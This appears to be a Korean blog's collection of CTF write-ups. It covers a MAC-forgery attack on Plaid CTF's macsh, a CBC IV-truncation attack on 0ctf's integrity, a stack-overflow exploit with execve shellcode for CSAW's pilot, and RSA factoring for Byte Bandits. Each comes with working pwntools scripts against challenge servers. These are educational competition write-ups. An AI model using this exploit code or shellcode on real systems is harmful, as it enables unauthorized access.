eval을 이용해서 printf(1+1);을 실행시키는 것을 볼 수 있는데, system()함수 또한 실행되기 때문에 이를 이용해서 system("../flag");를 실행시키면 된다.
ghettohackers: Throwback (121 pt)(Ordered by 55 teams) |
주어진 text 파일의 문자열을 "!"를 기준으로 알파벳 갯수를 세서, 이것을 문자로 치환하면 된다. (ex : m!yria! / 1개 -> a, 4개 -> d )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #!/usr/bin/env python3 f = open("text", "r") crypto = f.readline() f.close() print("Crypto : %s" % crypto, end="") print("Plain : ",end="") cnt = 0 for p in crypto: if(p=='!'): print("%c" % chr(ord('a')+cnt-1), end="") cnt=0 else: cnt=cnt+1 print("") | cs |
flag는 dark`logic
대회가 끝나기 전에 알아차려서 flag 인증 할 수 있었으면 좋았겠지만, 안타깝게도 끝나고나서야 알아차렸다...
'Write-up > CTF _ Write UP' 카테고리의 다른 글
[HITCON-Training] lab12 : secretgarden (0) | 2019.07.13 |
---|---|
RCTF 2018 Writeup (cpushop / babyre / Misc+) (0) | 2018.05.21 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
[Plaid CTF 2018] macsh - 125
|
PCTF의 125점짜리 Crypto문제이다. nc macsh.chal.pwning.xxx 64791 로 접속하면
사용자로부터 무언가를 입력받는다. 일단 아무거나 입력해보면 그냥 죽어버린다.
주어진 소스를 통해 서버에서 무슨 일을 하고 있는지 알 수 있다.
fmac.py는 keygen과 AES암호화로 암호하시키는 코드이고 macsh.py가 서버에서 정말로 하는 일이다. 코드를 보자
macsh.py
1 2 3 4 5 6 7 8 9 10 11 | while True: print("|$|> ", end='', flush=True) mac, cmdline = input().split('<|>') cmd, *args = cmdline.split() if cmd not in commands: print("macsh: {}: command not found".format(cmd)) continue if cmd == "tag" or bytes.hex(fmac(k0, k1, encode(cmdline))) == mac: eval(cmd)(*args) else: print("macsh: bad tag") | cs |
사용자로부터 입력을 받아 <|>를 기준으로 mac과 cmdline으로 나누어준다.
그 후 cmdline을 또 공백을 기준으로 나누어 cmd와 args로 나눈다.
그 후 cmd가 commands에 포함되어 있는지 검사한다. commands에는 아래 명령들이 포함되어있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | commands = [ "echo", "tag" ] privileged = { "pwd", "cd", "ls", "cat" } commands.extend(privileged) | cs |
즉 우리는 cmd값으로 echo, tag, pwd, cd, ls, cat 을 사용할 수 있다.
여기 cmd를 eval을 통해 argv값을 너헝 실행해주는데, 조건이 있다.
1. cmd == "tag"
2. crypt(cmdline) == mac
여기서 cmd가 tag이면 항상 tag를 실행하므로 두번째조건인 mac과 cmdline를 암호화한 것이 같으면 cmd를 원하는대로 설정해서 사용할 수 있을 것이다.
그럼 tag가 무엇을 해주느냐?
1 2 3 4 5 6 | def tag(cmd, *args): if cmd not in privileged: cmdline = encode(" ".join([cmd] + list(args))) print(bytes.hex(fmac(k0, k1, cmdline))) else: print("macsh: tag: Permission denied") | cs |
cmd가 echo이거나 tag일때만 실행되어 tag뒷부분을 cmdline으로 해서 fmac으로 암호화해서 돌려준다.
그러므로 아래와 같이 하면 echo가 실행되는 것을 알 수 있다.
tag echo AAAA
-> bytes.hex(fmac(k0, k1, "echo AAAA"))
이제 fmac의 암호화부분을 살펴보자.
1 2 3 4 5 6 7 | def f(k0, i): return to_block(rot(to_int(k0), i % (8 * N))) def fmac(k0, k1, m): C = AES.new(k1, AES.MODE_ECB) bs = [C.encrypt(xor(b, f(k0, i))) for i,b in enumerate(to_blocks(m))] return reduce(xor, bs, b"\x00" * N) | cs |
암호화는 m을 블록으로 나누어 각 블록을 순서대로 암호화한다.
이 때 key를 블록의 index만큼 rotation해서 암호화를 진행하고 암호화된 m의 블록들을 모두 xor하여 그 값을 반환한다.
key가 계속 로테이션하면서 변하지만 rot(to_int(k0), i % (8 * N))이므로 (N=16)
1번째 블록과 129번째 블록은 키가 같게 된다. 이걸 이용해서 이제 문제를 풀 수가 있다.
Enc(BLOCK_A | MyCommand | len(BLOCK_A | MyCommand) | padding)
Enc(tagCommand | len(tagCommand) | padding)
Enc(BLOCK_A | tagCommand | len(BLOCK_A | tagCommand) | padding)
참고로 블록들은 뒤에 입력에 들어간 cmdline의 길이를 붙이고 padding은 PKCS#7으로 된다.
이제 저 1,2,3을 tag명령을 통해 구하여 XOR하게 되면, 먼저 1^3이 되서 len부터 뒷부분이 모두 없어지고
그 후 2와 xor되서 tagCommand도 없어져 Enc(BLOCK_A | MyCommand | len(MyCommand) | padding) 를 얻게 된다.
아래를 공격코드이다.
xor3.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import binascii import string import sys import os def encode(cmdline): return cmdline.encode('utf-8') def xor(x, y): return bytes([xe ^ ye for xe,ye in zip(x,y)]) def xor3(x,y,z): x=binascii.unhexlify(encode(x)) y=binascii.unhexlify(encode(y)) z=binascii.unhexlify(encode(z)) res = xor(bytes(x),bytes(y)) res = xor(bytes(res),bytes(z)) return res x=sys.argv[1] y=sys.argv[2] z=sys.argv[3] res = xor3(x,y,z) print(str(binascii.hexlify(res))[2:-1]) | cs |
hand_attack.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | #!/usr/bin/env python from pwn import * import binascii import string import sys import os from subprocess import Popen, PIPE conn = remote('macsh.chal.pwning.xxx', 64791) BLOCK_A = "tag "+"A"*124 BLOCK_A = BLOCK_A*128 pwd ="/home/macsh" flag = "flag.txt" BLOCK_COMMAND=["pwd","ls /home/macsh", "cat flag.txt"] for BLOCK_B in BLOCK_COMMAND: PAD = "A"*len(BLOCK_B) ########## step.1 print(conn.recvuntil('|$|>')) l="asdf<|>tag "+BLOCK_A+BLOCK_B conn.sendline(l) x1 = conn.recvline().strip() #print(x1) ########## step.2 print(conn.recvuntil('|$|>')) l="asdf<|>tag "+PAD conn.sendline(l) x2 = conn.recvline().strip() #print(x2) ########## step.3 print(conn.recvuntil('|$|>')) l="asdf<|>tag "+BLOCK_A+PAD conn.sendline(l) x3=conn.recvline().strip() command = "python3 xor.py "+x1+" "+x2+" "+x3 popen = Popen(command, shell=True, stdout=PIPE) output, error = popen.communicate() output=output.strip() l=output+"<|>"+BLOCK_B print(l) conn.sendline(l) print(conn.recvline()) conn.interactive() | cs |
PCTF{fmac_is_busted_use_PMAC_instead}
대회가 다 끝난 시점에 스샷을 찍었다. 풀었을 때 대략 40명가량이었는데 대회가 끝났을 쯤엔 100명이 넘어가 있었다...
'Write-up > Crypto' 카테고리의 다른 글
[UIUCTF 2018] Hastad (0) | 2018.06.02 |
---|---|
[Byte Bandits CTF 2018]R u Ronald Rivest? (0) | 2018.06.02 |
[0ctf 2017] integrity - 75p (0) | 2018.05.02 |
[Byte Bandits CTF 2018] R u Ronald Rivest? 70p (0) | 2018.04.27 |
[UIUCTF 2018] xoracle (250) (0) | 2018.04.18 |
[0ctf 2017] integrity - 75p
0ctf quals 2017 : integrity
Category: Crypto Points: 75 Solves: Description:
Just a simple scheme.
nc 202.120.7.217 8221
문제가 괜찮아서 writeup을 써본다.
문제코드는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | #!/usr/bin/python -u from Crypto.Cipher import AES from hashlib import md5 from Crypto import Random from signal import alarm BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] class Scheme: def __init__(self,key): self.key = key def encrypt(self,raw): raw = pad(raw) raw = md5(raw).digest() + raw iv = Random.new().read(BS) cipher = AES.new(self.key,AES.MODE_CBC,iv) return ( iv + cipher.encrypt(raw) ).encode("hex") def decrypt(self,enc): enc = enc.decode("hex") iv = enc[:BS] enc = enc[BS:] cipher = AES.new(self.key,AES.MODE_CBC,iv) blob = cipher.decrypt(enc) checksum = blob[:BS] data = blob[BS:] if md5(data).digest() == checksum: return unpad(data) else: return key = Random.new().read(BS) scheme = Scheme(key) flag = open("flag",'r').readline() alarm(30) print "Welcome to 0CTF encryption service!" while True: print "Please [r]egister or [l]ogin" cmd = raw_input() if not cmd: break if cmd[0]=='r' : name = raw_input().strip() if(len(name) > 32): print "username too long!" break if pad(name) == pad("admin"): print "You cannot use this name!" break else: print "Here is your secret:" print scheme.encrypt(name) elif cmd[0]=='l': data = raw_input().strip() name = scheme.decrypt(data) if name == "admin": print "Welcome admin!" print flag else: print "Welcome %s!" % name else: print "Unknown cmd!" break | cs |
AES로 암호화하는데 CBC모드를 이용한다. CBC모드란?
CBC모드는 랜덤하게 생성된 IV으로 첫 블록을 암호화시킨 암호문을 다음 블록의 암호화에 사용한다.
If the first block has index 1, the mathematical formula for CBC encryption is
while the mathematical formula for CBC decryption is
그런데 여기 문제에서는 secret값의 IV || encrypted
형식이고 encrypted는 md5(pad(username)) || pad(username)
이다.
CBC모드는 IV로 블록을 암호화한 암호문을 다음 블록을 암호화하는데 쓰이므로, IV를 떼어낸 encrypted만 보내면 encrypted의 첫 블록을 IV로 사용하여 나머지 블록들은 모두 복호화가 될 것 이다.
우리가 이 값 md5(pad("admin")).digest() || admin
을 username으로 보내면
IV || enc(real md5) || enc(admin md5) || enc(admin)
. 이렇게 값이 돌아올 것이다.
+---------+------------------------+--------------------+---------------+ | IV | Enc(md5(admin)||admin) | Enc(md5(admin)) | Enc(admin) | +---------+------------------------+--------------------+---------------+
md5가 128bit이고 암호화 블록사이즈를 128bit로 해서 이런 암호문을 얻을 수 있는 것이다.
여기서 우리가 필요한 값은 admin을 복호화시키는 것 뿐이므로 IV와 첫암호화블록 C1을 빼버린 값을 보낸다면
Enc(md5(admin))값이 IV로 들어가서 Enc(admin)을 복호화하여 admin만 남게 될 것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import * from hashlib import md5 BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] name = md5(pad("admin")).digest() + "admin" r = remote("202.120.7.217", 8221) r.sendlineafter("or [l]ogin\n", "r") r.sendline(name) r.recvuntil("secret:\n") secret = r.recvline().strip() r.sendlineafter("or [l]ogin\n", "l") r.sendline(secret[32:]) r.interactive() | cs |
'Write-up > Crypto' 카테고리의 다른 글
[Byte Bandits CTF 2018]R u Ronald Rivest? (0) | 2018.06.02 |
---|---|
[Plaid CTF 2018] macsh - 125 (0) | 2018.05.07 |
[Byte Bandits CTF 2018] R u Ronald Rivest? 70p (0) | 2018.04.27 |
[UIUCTF 2018] xoracle (250) (0) | 2018.04.18 |
[TyokoWesterns] My Simple Cipher[75] (0) | 2017.09.02 |
[CSAW '17 CTF] pilot
ctf에 직접 참여해서 푼건 아니고... 나중에 pilot이란 파일만 가지고 문제를 풀었다.
처음해보는 pwn문제라 좀 해멨다. 64bit환경에서 x86(32bit) Shellcode를 가지고 했으니...
또 이번에 문제풀면서 처음으로 파이썬 라이브러리 pwntools랑 gdb-peda를 사용해보았다.
덕분에 여러가지로 공부가 많이 된듯하다. 나중에 실제로 ctf에서 pwn문제 풀면 매우 유용하게 사용할듯.
문제로 들어가자
저렇게 나온다.
Location을 주는데, 저게 중요할것 같다.
gdb-peda로 실행해서 "A"*32 + "B"*8 + "C"*4를 입력하면 아래와 같이 나온다.
RBP가 "BBBB"로 덮이고, RIP는 0x7f0a43434343으로 "CCCC\n"이 덮혀진것을 볼 수 있다.
buf는 "A"*32로 채워져있을 것이므로, 이곳에 shellcode를 넣고 이 곳의 주소로 jump하면 될 것 같다.
참고로 NX는 걸려있지않다.
사용 Shellcode x64 execve
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * p = process("./pilot") print(p.recvuntil("Location:")) buf = p.recvline(False).strip() shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" print("ShellcodeLen : " + str(len(shellcode))) payload = shellcode + "A"*(40-len(shellcode))+p64(int(buf,16))#p32(buf2)+p32(buf1) p.sendline(payload) sleep(1) p.interactive() | cs |
굿
'Write-up > Pwnable' 카테고리의 다른 글
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
---|---|
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기 (0) | 2018.05.28 |
[Plaid CTF 2018] shop python solve code 2 (0) | 2018.05.22 |
[Plaid CTF 2018] shop python solve code 1 (0) | 2018.05.22 |
[Byte Bandits CTF 2018] R u Ronald Rivest? 70p
출처는 내 블로그...
여기서 따로 떼어내가져와보았다.
ByteBanditsCTF 2018 전체 writeup
[Crypto]R u Ronald Rivest? 70p
문제이름은 Are you Ronald Rivest?이다. Ronald Rivest가 누구지? 하고 검색해보았다.
RSA 암호 체계를 발명하신 분이다. 왠지 문제와 엄청 관계있을것같다.
이제 문제에서 주어진 파일을 보자.
text.txt 파일과 lol_pub.pem 파일이 주어진다.
이 pem포맷파일은 문제이름에 나오는 RSA창시자 이름을 볼 때 RSA 공개키파일로 추측된다.
각각을 살펴보면 아래와 같다.
------------------------------------------------------------------------------------------------------------------------
PEM(Privacy-enhanced Electronic Mail)
여기서 준 lol_pub.pem 파일은 이름에서 유추해볼때 public_key파일이라는 것과 파일을 열어봤을때 첫줄과 마지막에 보이는 PUBLIC KEY로 이 파일이 공개키파일임을 알 수 있다.
RSA에서 쓰이는 공개키는 숫자인데, base64로 인코딩된 듯한 문자와 위아래로 텍스트 문자열(-----public ----)이 들어가 있다.
이러한 형태를 띄고 있는 파일은 PEM(Privacy Enhanced Mail) 포맷 파일로, 공개키를 암호화한 파일이다.
openssl을 이용해 개인키 및 공개키를 생성하면 위와 같은 파일을 자주 볼 수 있다.
비교해보기 위해 임의로 mykey.pem을 생성해보았다.
같은 형식인 걸 알 수 있었다.
그럼 openssl로 분석해볼까.. -noout -text 옵션으로 PEM 인코딩된 인증서를 파싱해서 정보를 출력해보겟다.
n = 225bit이고 e=65537인것을 알 수 있다.
n을 좀 더 숫자로 표현해서 보고 싶다면 방법이 있다. ( https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key )
PUBKEY=`grep -v -- ----- lol_pub.pem | tr -d '\n'`
echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i
환경변수로 문자열을 파싱하고 base64 디코딩해 openssl을 통해 정보를 읽는다.
n이랑 e가 BIT STRING
, offset 17에 들어있ㄷ. -strparse
을 추가해서 파싱해주자.
n=0x013269DC2680BC64277889DC6A101ED6F13DD07498F13A4818474C2069
(32269109513264378873151120068074444086989044741418671122338798116969)
e=0x10001 (65537)
n을 찾았다!!
이제 소인수 분해를 하면 되겠다. 이 때 좋은 사이트가 있다는 것을 알았다.
FatorDB : http://factordb.com/
이 사이트에 넣으면 만약 DB에 이미 소인수분해한 값이 있다면 그대로 알려준다. 매우 좋은 사이트다...!!
오옹... 감사합니다...
p,q = 1796360473659570891671495336244551, 17963604736595708916714953362445519
이제 p,q를 구했으니 개인키 d를 구하면 되겠다. 이 때 좋은 툴 rsatool 이 있다. 이걸 활용하자.
아 그놈의 gmpy... 다른 서버로 가야겠다.
n =
13269dc2680bc64277889dc6a101ed6f13dd07498f13a4818474c2069
e = 65537 (0x10001)
d = 24628356329157132106384879910356205355957782278135706168828095323773
(0xe9dc37c53f2e09f6c21dde172931a8e35ec454f10fb39c15a38f5e7d)
p = 1796360473659570891671495336244551 (0x589141bcf7bfd38312fcb363b547)
q = 17963604736595708916714953362445519 (0x375ac9161ad7e431ebddf01e514cf)
구할건 다 구했다.
text.txt에 있는 값들이 base64인코딩되있으니 디코딩해주자.
echo "AGRPJtAkcHxM5h9RiMMECc9KdKeXRuVvP5XlgsI=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt
echo "AAqhlINL/9sBf80jq9qgdHO+yXR1O0zyljGDzCo=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt
echo "AIV/vkErNAGt0j37090nxhiwwQyjtXcDugLTKDE=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt
뭐가 출력되는지 보자
좀 엉망이지만... 순서를 조금 정리해보자.
flag{u
_n00b}
n0_10ng3r
flag{un0_10ng3r_n00b} 인것 같다... 굿!
'Write-up > Crypto' 카테고리의 다른 글
[Plaid CTF 2018] macsh - 125 (0) | 2018.05.07 |
---|---|
[0ctf 2017] integrity - 75p (0) | 2018.05.02 |
[UIUCTF 2018] xoracle (250) (0) | 2018.04.18 |
[TyokoWesterns] My Simple Cipher[75] (0) | 2017.09.02 |
[anstromCTF 2017] Knock Knock (0) | 2017.04.25 |